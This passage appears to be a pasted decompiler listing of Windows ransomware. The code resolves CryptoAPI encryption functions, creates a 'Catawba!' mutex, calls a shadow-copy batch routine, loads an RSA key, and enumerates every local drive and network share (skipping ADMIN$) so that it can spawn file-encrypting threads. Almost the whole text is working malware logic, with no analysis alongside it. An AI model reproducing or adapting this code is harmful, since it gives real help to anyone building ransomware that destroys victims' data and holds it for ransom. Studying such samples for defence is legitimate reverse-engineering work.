- (v7 = GetProcAddress(shlwapiDLL, LibFileName)) != 0)
- && (PathFindExtensionA = (int (__stdcall *)(_DWORD))v7, (AdvapiLib = LoadLibraryA("advapi32.dll")) != 0)
- && (AdvapiLibDword = AdvapiLib, (CryptSetKeyParam = GetProcAddress(AdvapiLib, "CryptSetKeyParam")) != 0)
- && (*(_DWORD *)::CryptSetKeyParam = CryptSetKeyParam,
- (v10 = GetProcAddress(AdvapiLibDword, "CryptReleaseContext")) != 0)
- && (*(_DWORD *)CryptReleaseContext = v10, (v11 = GetProcAddress(AdvapiLibDword, "CryptImportKey")) != 0)
- && (*(_DWORD *)CryptImportKey = v11, (v12 = GetProcAddress(AdvapiLibDword, "CryptGenKey")) != 0)
- && (*(_DWORD *)CryptGenKey = v12, (v13 = GetProcAddress(AdvapiLibDword, "CryptEncrypt")) != 0)
- && (*(_DWORD *)CryptEncrypt = v13, (v14 = GetProcAddress(AdvapiLibDword, "CryptDestroyKey")) != 0)
- && (*(_DWORD *)CryptDestroyKey = v14, (v15 = GetProcAddress(AdvapiLibDword, "CryptAcquireContextA")) != 0)
- && (*(_DWORD *)CryptAcquireContextA = v15, (v16 = GetProcAddress(AdvapiLibDword, "CryptExportKey")) != 0)
- && (*(_DWORD *)CryptExportKey = v16, (kernel32Lib = LoadLibraryA("kernel32.dll")) != 0)
- && (kernel32dll = kernel32Lib, (v18 = GetProcAddress(kernel32Lib, "CreateThread")) != 0)
- && (CreateThread = (int (__stdcall *)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD))v18,
- (v19 = GetProcAddress(kernel32dll, "CreateFileA")) != 0)
- && (*(_DWORD *)CreateFileA = v19, (v20 = GetProcAddress(kernel32dll, "FindClose")) != 0)
- && (*(_DWORD *)FindClose = v20, (v21 = GetProcAddress(kernel32dll, "FindFirstFileA")) != 0)
- && (*(_DWORD *)FindFirstFileA = v21, (v22 = GetProcAddress(kernel32dll, "FindNextFileA")) != 0)
- && (*(_DWORD *)FindNextFileA = v22, (v23 = GetProcAddress(kernel32dll, "GetDiskFreeSpaceExA")) != 0)
- && (*(_DWORD *)GetDiskFreeSpaceExA = v23, (v24 = GetProcAddress(kernel32dll, "WideCharToMultiByte")) != 0)
- && (*(_DWORD *)WideCharToMultiByte = v24, (v25 = GetProcAddress(kernel32dll, "FindResourceA")) != 0)
- && (FindResourceA = (int (__stdcall *)(_DWORD, _DWORD, _DWORD))v25,
- (v26 = GetProcAddress(kernel32dll, "FreeResource")) != 0)
- && (FreeResource = (int (__stdcall *)(_DWORD))v26, (v27 = GetProcAddress(kernel32dll, "LoadResource")) != 0)
- && (LoadResource = (int (__stdcall *)(_DWORD, _DWORD))v27, (v28 = GetProcAddress(kernel32dll, "SizeofResource")) != 0)
- && (SizeofResource = (int (__stdcall *)(_DWORD, _DWORD))v28, (v29 = GetProcAddress(kernel32dll, "LockResource")) != 0)
- && (LockResource = (int (__stdcall *)(_DWORD))v29, (v30 = GetProcAddress(kernel32dll, "GetWindowsDirectoryA")) != 0)
- && (GetWindowsDirectoryA = (int (__stdcall *)(_DWORD, _DWORD))v30,
- (v31 = GetProcAddress(kernel32dll, "GetTempPathA")) != 0)
- && (*(_DWORD *)GetTempPathA = v31, (v32 = GetProcAddress(kernel32dll, "MoveFileA")) != 0)
- && (*(_DWORD *)MoveFileA = v32, (v33 = GetProcAddress(kernel32dll, "SetErrorMode")) != 0)
- && (SetErrorMode = (int (__stdcall *)(_DWORD))v33, (v34 = GetProcAddress(kernel32dll, "SetFileAttributesA")) != 0)
- && (*(_DWORD *)SetFileAttributesA = v34, (v35 = GetProcAddress(kernel32dll, "GetFileAttributesA")) != 0)
- && (*(_DWORD *)GetFileAttributesA = v35, (v36 = GetProcAddress(kernel32dll, "GetFileSizeEx")) != 0)
- && (*(_DWORD *)GetFileSizeEx = v36, (v37 = GetProcAddress(kernel32dll, "GetFileTime")) != 0)
- && (*(_DWORD *)GetFileTime = v37, (v38 = GetProcAddress(kernel32dll, "GetDriveTypeA")) != 0)
- && (*(_DWORD *)GetDriveTypeA = v38, (v39 = GetProcAddress(kernel32dll, "WriteFile")) != 0)
- && (*(_DWORD *)WriteFile = v39, (v40 = GetProcAddress(kernel32dll, "SetFileTime")) != 0)
- && (*(_DWORD *)SetFileTime = v40, (v41 = GetProcAddress(kernel32dll, "OpenMutexA")) != 0)
- && (OpenMutexA = (int (__stdcall *)(_DWORD, _DWORD, _DWORD))v41,
- (v42 = GetProcAddress(kernel32dll, "CreateMutexA")) != 0)
- && (CreateMutexA = (int (__stdcall *)(_DWORD, _DWORD, _DWORD))v42,
- (v43 = GetProcAddress(kernel32dll, "GetComputerNameA")) != 0)
- && (GetComputerNameA = (int (__fastcall *)(_DWORD, _DWORD, _DWORD, _DWORD))v43,
- (v44 = GetProcAddress(kernel32dll, "GetLogicalDrives")) != 0)
- && (GetLogicalDrives = v44, (v45 = GetProcAddress(kernel32dll, "MultiByteToWideChar")) != 0)
- && (*(_DWORD *)MultiByteToWideChar = v45, (v46 = GetProcAddress(kernel32dll, "ReadFile")) != 0)
- && (*(_DWORD *)ReadFile = v46, (v47 = GetProcAddress(kernel32dll, "WaitForSingleObject")) != 0)
- && (WaitForSingleObject = (int (__thiscall *)(_DWORD, _DWORD, _DWORD))v47,
- (netapi32Lib = LoadLibraryA("netapi32.dll")) != 0)
- && (netapi32Dll = netapi32Lib, (v49 = GetProcAddress(netapi32Lib, "NetShareEnum")) != 0)
- && (*(_DWORD *)NetShareEnum = v49, (v50 = GetProcAddress(netapi32Dll, "NetApiBufferFree")) != 0)
- && (*(_DWORD *)NetApiBufferFree = v50, (MPRlib = LoadLibraryA("mpr.dll")) != 0)
- && (MPRDll = MPRlib, (v52 = GetProcAddress(MPRlib, "WNetOpenEnumA")) != 0)
- && (*(_DWORD *)WNetOpenEnumA = v52, (v53 = GetProcAddress(MPRDll, "WNetEnumResourceA")) != 0)
- && (*(_DWORD *)WNetEnumResourceA = v53, (v54 = GetProcAddress(MPRDll, "WNetCloseEnum")) != 0) )
- {
- *(_DWORD *)WNetCloseEnum = v54;
- result = 0;
- }
- else
- {
- result = 1;
- }
- return result;
- }
- // 411004: using guessed type int (__stdcall *ShellExecute)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD);
- // 41101C: using guessed type int (__stdcall *PathFindExtensionA)(_DWORD);
- // 411048: using guessed type int (__fastcall *GetComputerNameA)(_DWORD, _DWORD, _DWORD, _DWORD);
- // 41104C: using guessed type int (__stdcall *CreateThread)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD);
- // 411068: using guessed type int (__stdcall *FindResourceA)(_DWORD, _DWORD, _DWORD);
- // 41106C: using guessed type int (__stdcall *FreeResource)(_DWORD);
- // 411070: using guessed type int (__stdcall *LoadResource)(_DWORD, _DWORD);
- // 411074: using guessed type int (__stdcall *SizeofResource)(_DWORD, _DWORD);
- // 411078: using guessed type int (__stdcall *LockResource)(_DWORD);
- // 41107C: using guessed type int (__stdcall *GetWindowsDirectoryA)(_DWORD, _DWORD);
- // 411088: using guessed type int (__stdcall *SetErrorMode)(_DWORD);
- // 4110A8: using guessed type int (__stdcall *OpenMutexA)(_DWORD, _DWORD, _DWORD);
- // 4110AC: using guessed type int (__stdcall *CreateMutexA)(_DWORD, _DWORD, _DWORD);
- // 4110B0: using guessed type int (*GetLogicalDrives)(void);
- // 4110BC: using guessed type int (__thiscall *WaitForSingleObject)(_DWORD, _DWORD, _DWORD);
- //----- (00402EC3) --------------------------------------------------------
- DWORD __stdcall sub_402EC3(DWORD lpString2)
- {
- DWORD result; // eax@1
- int v2; // ecx@3
- int v3; // ecx@4
- CHAR *v4; // ST24_4@7
- int v5; // ecx@7
- int v6; // [sp-4h] [bp-814h]@4
- const CHAR String2; // [sp+4h] [bp-80Ch]@6
- int v8; // [sp+408h] [bp-408h]@2
- void *v9; // [sp+40Ch] [bp-404h]@4
- char v10; // [sp+410h] [bp-400h]@1
- MultiByteToWideChar(0, 0, lpString2, (LPDWORD)0xFFFFFFFF, (LPOVERLAPPED)&v10);
- result = NetShareEnum(&v10);
- if ( !result )
- {
- if ( v8 )
- {
- v2 = v8;
- do
- {
- v6 = v2;
- v3 = (int)((char *)v9 + 12 * (v2 - 1));
- if ( !*(_DWORD *)(v3 + 4) || *(_DWORD *)(v3 + 4) == -2147483648 )
- {
- WideCharToMultiByte(0, 0, *(LPCWSTR *)v3, -1, (LPSTR)&String2, 1024, 0, 0);
- if ( lstrcmpiA("ADMIN$", &String2) )
- {
- v4 = (CHAR *)HeapAlloc(hHeap, 8u, 0x1000u);
- lstrcpyA(v4, (LPCSTR)lpString2);
- PathAddBackslashA(v4);
- lstrcatA(v4, &String2);
- PathAddBackslashA(v4);
- v5 = 8 * dword_406AC8 + 4221648;
- dword_406AD0[2 * dword_406AC8] = v4;
- dword_406ACC[2 * dword_406AC8++] = CreateThread(0, 0, sub_401798, v5, 0, 0);
- }
- }
- v2 = v6 - 1;
- }
- while ( v6 != 1 );
- }
- result = NetApiBufferFree(v9);
- }
- return result;
- }
- // 406ACC: using guessed type int dword_406ACC[];
- // 41104C: using guessed type int (__stdcall *CreateThread)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD);
- //----- (00403026) --------------------------------------------------------
- DWORD __stdcall sub_403026(struct _NETRESOURCEA *a1)
- {
- DWORD result; // eax@1
- DWORD v2; // eax@3
- int v3; // ecx@5
- const CHAR *v4; // eax@8
- int v5; // [sp-4h] [bp-34h]@6
- char v6; // [sp+0h] [bp-30h]@6
- int v7; // [sp+8h] [bp-28h]@6
- LPCSTR lpString2; // [sp+14h] [bp-1Ch]@7
- LPVOID lpMem; // [sp+20h] [bp-10h]@2
- int v10; // [sp+24h] [bp-Ch]@2
- int v11; // [sp+28h] [bp-8h]@2
- void *v12; // [sp+2Ch] [bp-4h]@1
- result = WNetOpenEnumA(2u, 0, 2u, a1, &v12);
- if ( !result )
- {
- v11 = -1;
- lpMem = HeapAlloc(hHeap, 8u, 0x10000u);
- v10 = 65536;
- while ( 1 )
- {
- v2 = WNetEnumResourceA(v12, (LPDWORD)&v11, lpMem, (LPDWORD)&v10);
- if ( !v12 )
- break;
- if ( v2 == 259 )
- break;
- v3 = v11;
- do
- {
- RtlMoveMemory(&v6, (char *)lpMem + 32 * (v3 - 1), 32, v3);
- if ( v7 == 2 )
- {
- if ( lstrlenA(lpString2) )
- {
- v4 = PathFindFileNameA(lpString2);
- if ( lstrcmpiA(byte_40EB2C, v4) )
- sub_402EC3((DWORD)lpString2);
- }
- }
- else
- {
- sub_403026(&v6);
- }
- v3 = v5 - 1;
- }
- while ( v5 != 1 );
- }
- HeapFree(hHeap, 0, lpMem);
- result = WNetCloseEnum(v12);
- }
- return result;
- }
- // 4033D6: using guessed type int __stdcall RtlMoveMemory(_DWORD, _DWORD, _DWORD, _DWORD);
- //----- (0040310F) --------------------------------------------------------
- void __cdecl start()
- {
- const CHAR *v0; // ebx@7
- int v1; // eax@7
- int v2; // edx@7
- signed int v3; // ecx@7
- int v4; // ST18_4@9
- int v5; // ST1C_4@9
- signed int v6; // ST20_4@9
- LPVOID v7; // eax@9
- int v8; // ecx@9
- unsigned __int8 v9; // of@10
- int v10; // edx@11
- int v11; // ecx@11
- int v12; // esi@11
- int v13; // ST1C_4@12
- int v14; // ST20_4@12
- if ( sub_4026A7() != 1 )
- {
- dword_40EAEB = 0;
- hHeap = GetProcessHeap();
- sub_40253D();
- GetModuleFileNameA(0, Filename, 0x500u);
- if ( sub_401569() )
- {
- LibFileName[0] = 67;
- LibFileName[1] = 97;
- LibFileName[2] = 116;
- LibFileName[3] = 97;
- LibFileName[4] = 119;
- LibFileName[5] = 98;
- LibFileName[6] = 97;
- LibFileName[7] = 33;
- LibFileName[8] = 0;
- LibFileName[9] = 0;
- if ( !OpenMutexA(2031617, 0, LibFileName) )// Catawba! Is the mutex used
- {
- CreateMutexA(0, 0, LibFileName);
- if ( byte_40EAE9 )
- CreateVSSbatch();
- if ( sub_401C80() )
- {
- sub_4022E0();
- sub_40262E();
- sub_4010EA();
- dword_40EC2C = sub_4023B5(RSA_KEY_BUFFER, dword_40EB0C);
- lstrcpyA(byte_410DCC, "*");
- lstrcatA(byte_410DCC, ".");
- lstrcatA(byte_410DCC, lpString2);
- GetWindowsDirectoryA(byte_4058A8, 256);
- v0 = (const CHAR *)PathFindExtensionA(dword_40EAF8);
- lstrcpyA(byte_405AA8, v0);
- lstrcpynA(byte_4059A8, dword_40EAF8, v0 - dword_40EAF8 + 1);
- lstrcpyA(byte_410EE4, "*");
- lstrcatA(byte_410EE4, byte_4059A8);
- lstrcatA(byte_410EE4, "*");
- lstrcatA(byte_410EE4, byte_405AA8);
- SetErrorMode(1);
- v1 = GetLogicalDrives();
- v3 = 25;
- do
- {
- if ( v1 & (1 << v3) )
- {
- dword_40EAE4 = v3;
- v6 = v3;
- v5 = v2;
- v4 = v1;
- v7 = HeapAlloc(hHeap, 8u, 0x1000u);
- v8 = 8 * dword_406AC8 + 4221648;
- dword_406AD0[2 * dword_406AC8] = v7;
- *(_BYTE *)v7 = dword_40EAE4 + 65;
- *((_BYTE *)v7 + 1) = 58;
- *((_BYTE *)v7 + 2) = 92;
- dword_406ACC[2 * dword_406AC8++] = CreateThread(0, 0, sub_401798, v8, 0, 0);
- v1 = v4;
- v2 = v5;
- v3 = v6;
- }
- v9 = __OFSUB__(v3--, 1);
- }
- while ( !(v3 < 0 ^ v9) );
- dword_40EB28 = 256;
- GetComputerNameA(v3, v2, byte_40EB2C, &dword_40EB28);
- sub_403026(0);
- v11 = dword_406AC8;
- v12 = (int)dword_406ACC;
- do
- {
- v14 = v11;
- v13 = v10;
- WaitForSingleObject(v11, *(_DWORD *)v12, -1);
- v10 = v13;
- v12 += 8;
- v11 = v14 - 1;
- }
- while ( v14 != 1 );
- sub_401329();
- }
- }
- }
- }
- sub_401D34();
- sub_4025BC();
- sub_401000();
- ExitProcess(0);
- }
- // 4023B5: using guessed type _DWORD __stdcall sub_4023B5(_DWORD, _DWORD);
- // 406ACC: using guessed type int dword_406ACC[];
- // 40EAE4: using guessed type int dword_40EAE4;
- // 40EAE9: using guessed type char byte_40EAE9;
- // 40EAEB: using guessed type int dword_40EAEB;
- // 40EB10: using guessed type int RSA_KEY_BUFFER;
- // 40EB28: using guessed type int dword_40EB28;
- // 40EC2C: using guessed type int dword_40EC2C;
- // 41101C: using guessed type int (__stdcall *PathFindExtensionA)(_DWORD);
- // 411048: using guessed type int (__fastcall *GetComputerNameA)(_DWORD, _DWORD, _DWORD, _DWORD);
- // 41104C: using guessed type int (__stdcall *CreateThread)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD);
- // 41107C: using guessed type int (__stdcall *GetWindowsDirectoryA)(_DWORD, _DWORD);
- // 411088: using guessed type int (__stdcall *SetErrorMode)(_DWORD);
- // 4110A8: using guessed type int (__stdcall *OpenMutexA)(_DWORD, _DWORD, _DWORD);
- // 4110AC: using guessed type int (__stdcall *CreateMutexA)(_DWORD, _DWORD, _DWORD);
- // 4110B0: using guessed type int (*GetLogicalDrives)(void);
- // 4110BC: using guessed type int (__thiscall *WaitForSingleObject)(_DWORD, _DWORD, _DWORD);
- // ALL OK, 32 function(s) have been successfully decompiled
Advertisement
Add Comment
Please, Sign In to add comment